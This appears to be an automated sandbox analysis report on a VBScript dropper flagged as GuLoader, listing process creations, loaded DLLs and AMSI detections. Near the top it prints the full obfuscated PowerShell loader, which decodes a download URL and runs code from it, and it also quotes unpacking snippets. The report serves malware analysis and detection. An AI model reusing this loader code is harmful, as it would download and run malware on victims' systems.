Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigt
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigt	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.2565274087.0000000006DCE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.Core.pdb5 source: powershell.exe, 00000008.00000002.2572137053.0000000007D28000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .Core.pdb source: powershell.exe, 00000008.00000002.2572137053.0000000007D28000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("POWERSHELL", ""Get-Service;$Thickskulled='func';Get-H", "", "", "0");

Yara detected GuLoader

Source: Yara match

File source: 00000008.00000002.2573407527.0000000009DB6000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Poethood)$glObAl:OVeRNErvouSLY = [sYSTeM.TeXT.EnCodING]::ascII.GEtstRiNG($suMpEgN)$globaL:tJstaTivErnEs=$oVERNervOUslY.SubStrIng($PiTaRAH,$aKAdEmikERaRbeJdSLShEd)<#uptide Bogreols Vv
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Afvbning $Relieffets $Tracerteknikkens), (Semidestructive @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Dispensernes = [AppDomain]::CurrentDomain.GetAsse
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Uncherishing)), $Mondnitetens).DefineDynamicModule($Pathology, $false).DefineType($Mammilliform, $Opgavetyper, [System.MulticastDelega
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Poethood)$glObAl:OVeRNErvouSLY = [sYSTeM.TeXT.EnCodING]::ascII.GEtstRiNG($suMpEgN)$globaL:tJstaTivErnEs=$oVERNervOUslY.SubStrIng($PiTaRAH,$aKAdEmikERaRbeJdSLShEd)<#uptide Bogreols Vv

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
